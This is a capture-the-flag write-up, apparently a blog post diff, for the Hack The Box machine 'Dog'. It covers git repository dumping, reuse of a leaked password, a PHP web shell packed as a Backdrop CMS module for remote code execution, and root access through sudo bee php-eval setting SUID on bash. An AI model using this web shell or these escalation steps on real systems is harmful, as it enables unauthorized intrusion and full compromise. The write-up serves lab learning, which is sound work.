|
| 1 | +--- |
| 2 | +title: Dog - Linux Easy - HTB Writeup |
| 3 | +description: |
| 4 | +slug: Dog-htb-writeup-linux-easy |
| 5 | +date: 2025-07-12 00:00:00+0000 |
| 6 | +image: Dog.png |
| 7 | +categories: |
| 8 | + - Hack |
| 9 | + - Linux |
| 10 | + - Easy |
| 11 | +tags: |
| 12 | + - GitHack |
| 13 | + - RCE |
| 14 | + - Sudo misconfiguration |
| 15 | +# weight: 1 # You can add weight to some posts to override the default sorting (date descending) |
| 16 | +--- |
| 17 | +## Summary |
| 18 | +User: Webapp credentials in source code using GitHack + RCE via upload of a malicious archive.\ |
| 19 | +Root: Sudo misconfiguration of bee CLI. |
| 20 | + |
| 21 | +## Enumeration |
| 22 | +Using nmap, we can identify a web service on port 80 and SSH exposed on port 22. |
| 23 | + |
| 24 | +{{< highlight go "hl_lines=1 3 8 21" >}} |
| 25 | +$ nmap -Pn -p- 10.129.208.97 -v -A |
| 26 | +PORT STATE SERVICE VERSION |
| 27 | +22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) |
| 28 | +| ssh-hostkey: |
| 29 | +| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA) |
| 30 | +| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA) |
| 31 | +|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519) |
| 32 | +80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |
| 33 | +|_http-title: Home | Dog |
| 34 | +| http-robots.txt: 22 disallowed entries (15 shown) |
| 35 | +| /core/ /profiles/ /README.md /web.config /admin |
| 36 | +| /comment/reply /filter/tips /node/add /search /user/register |
| 37 | +|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply |
| 38 | +|_http-generator: Backdrop CMS 1 (https://backdropcms.org) |
| 39 | +| http-methods: |
| 40 | +|_ Supported Methods: GET HEAD POST OPTIONS |
| 41 | +|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510 |
| 42 | +|_http-server-header: Apache/2.4.41 (Ubuntu) |
| 43 | +| http-git: |
| 44 | +| 10.129.208.97:80/.git/ |
| 45 | +| Git repository found! |
| 46 | +| Repository description: Unnamed repository; edit this file 'description' to name the... |
| 47 | +|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro... |
| 48 | +{{< /highlight >}} |
| 49 | + |
| 50 | +## User |
| 51 | +### Git dump + RCE via shell.tar |
| 52 | +The nmap scan revealed that the git repository of the webapp is exposed.\ |
| 53 | +Using [GitHack](https://github.com/lijiejie/GitHack), we are going to partially retrieve the source code of this web application. |
| 54 | +{{< highlight go "hl_lines=1 4" >}} |
| 55 | +$ ls |
| 56 | +GitHack.py index lib README.md |
| 57 | + |
| 58 | +$ python GitHack.py http://dog.htb/.git |
| 59 | +[+] Download and parse index file ... |
| 60 | +[+] LICENSE.txt |
| 61 | +[+] README.md |
| 62 | +[+] core/.jshintignore |
| 63 | +... |
| 64 | + |
| 65 | +{{< /highlight >}} |
| 66 | +In those files, we can find a username `tiffany` and a password `BackDropJ2024DS2024` |
| 67 | +{{< highlight go "hl_lines=1 4" >}} |
| 68 | +$ grep -ir dog.htb . |
| 69 | +./dog.htb/files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json: "tiffany@dog.htb" |
| 70 | + |
| 71 | +$ cat -n settings.php |
| 72 | +... |
| 73 | + 15 $database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop'; |
| 74 | +... |
| 75 | +{{< /highlight >}} |
| 76 | + |
| 77 | +Using those credentials, we gain access to the webapp `http://dog.htb` as `tiffany`.\ |
| 78 | +We can find the version of `Backdrop` in the `Reports` tab then `Status report`.\ |
| 79 | +This version `1.27.7` is vulnerable to an RCE. |
| 80 | + |
| 81 | + |
| 82 | +The following [exploit](https://www.exploit-db.com/exploits/52021) could work but our instance of backdrop doesn't accept `.zip` archives.\ |
| 83 | +We can find this information in the `Functionality` tab then `Install new modules`. |
| 84 | + |
| 85 | + |
| 86 | +So, we are going to take the code and `.info` files of this exploit in order to create a `shell.tar` archive.\ |
| 87 | +Then, on the same page we are going to install this new module. |
| 88 | +{{< highlight go "hl_lines=1 19 36" >}} |
| 89 | +$ cat shell.php |
| 90 | +<html> |
| 91 | +<body> |
| 92 | +<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> |
| 93 | +<input type="TEXT" name="cmd" autofocus id="cmd" size="80"> |
| 94 | +<input type="SUBMIT" value="Execute"> |
| 95 | +</form> |
| 96 | +<pre> |
| 97 | +<?php |
| 98 | +if(isset($_GET['cmd'])) |
| 99 | +{ |
| 100 | +system($_GET['cmd']); |
| 101 | +} |
| 102 | +?> |
| 103 | +</pre> |
| 104 | +</body> |
| 105 | +</html> |
| 106 | + |
| 107 | +$ cat shell.info |
| 108 | +type = module |
| 109 | +name = Block |
| 110 | +description = Controls the visual building blocks a page is constructed with. Blocks are boxes of content rendered into an area, or region, of a web page. |
| 111 | +package = Layouts |
| 112 | +tags[] = Blocks |
| 113 | +tags[] = Site Architecture |
| 114 | +version = BACKDROP_VERSION |
| 115 | +backdrop = 1.x |
| 116 | + |
| 117 | +configure = admin/structure/block |
| 118 | + |
| 119 | +; Added by Backdrop CMS packaging script on 2024-03-07 |
| 120 | +project = backdrop |
| 121 | +version = 1.27.1 |
| 122 | +timestamp = 1709862662 |
| 123 | + |
| 124 | +$ tar cvf shell.tar shell.php shell.info |
| 125 | +shell.php |
| 126 | +shell.info |
| 127 | +{{< /highlight >}} |
| 128 | + |
| 129 | + |
| 130 | + |
| 131 | +Even if this new module is not listed in the list of installed modules, we can access it through `/modules/shell/shell.php`, as specified in the [exploit](https://www.exploit-db.com/exploits/52021). |
| 132 | + |
| 133 | + |
| 134 | +In the home directory, we can find two users, `jobert` and `johncusack`. |
| 135 | +\ |
| 136 | +Using the previously discovered password `BackDropJ2024DS2024`, we gain SSH access to the machine as `johncusack` and are able to retrieve the `user.txt` flag. |
| 137 | +{{< highlight go "hl_lines=1 2" >}} |
| 138 | +$ ssh johncusack@dog.htb |
| 139 | +johncusack@dog:~$ ls |
| 140 | +user.txt |
| 141 | +{{< /highlight >}} |
| 142 | + |
| 143 | +## Root |
| 144 | +### Sudo misconfiguration |
| 145 | +`Johncusack` can use `bee` CLI as `root` via sudo. |
| 146 | +{{< highlight go "hl_lines=1 7" >}} |
| 147 | +johncusack@dog:~$ sudo -l |
| 148 | +[sudo] password for johncusack: |
| 149 | +Matching Defaults entries for johncusack on dog: |
| 150 | + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin |
| 151 | + |
| 152 | +User johncusack may run the following commands on dog: |
| 153 | + (ALL : ALL) /usr/local/bin/bee |
| 154 | +{{< /highlight >}} |
| 155 | + |
| 156 | +This CLI "allows developers to interact with Backdrop sites" as specified on their [GitHub](https://github.com/backdrop-contrib/bee).\ |
| 157 | +As we can see in the documentation, we can execute PHP code. |
| 158 | + |
| 159 | +{{< highlight go "hl_lines=1" >}} |
| 160 | +johncusack@dog:~$ sudo bee |
| 161 | +... |
| 162 | + eval |
| 163 | + ev, php-eval |
| 164 | + Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop. |
| 165 | +... |
| 166 | +{{< /highlight >}} |
| 167 | + |
| 168 | +First, we are going to move to `/var/www/html` so `bee` can interact with our backdrop site.\ |
| 169 | +Then, we set the SUID flag to `/bin/bash` and get a root shell in order to read the `root.txt` flag. |
| 170 | +{{< highlight go "hl_lines=2 5 6 8" >}} |
| 171 | +johncusack@dog:~$ cd /var/www/html |
| 172 | +johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee php-eval 'exec("chmod u+s /bin/bash")' |
| 173 | +johncusack@dog:/var/www/html$ ls -l /bin/bash |
| 174 | +-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash |
| 175 | +johncusack@dog:/var/www/html$ /bin/bash -p |
| 176 | +bash-5.0# id |
| 177 | +uid=1001(johncusack) gid=1001(johncusack) euid=0(root) groups=1001(johncusack) |
| 178 | +bash-5.0# ls /root |
| 179 | +root.txt |
| 180 | +{{< /highlight >}} |
| 181 | + |
| 182 | + |
| 183 | +## Resources |
| 184 | +> [GitHack](https://github.com/lijiejie/GitHack)\ |
| 185 | +> [Backdrop v1.27.1](https://www.exploit-db.com/exploits/52021) |
0 commit comments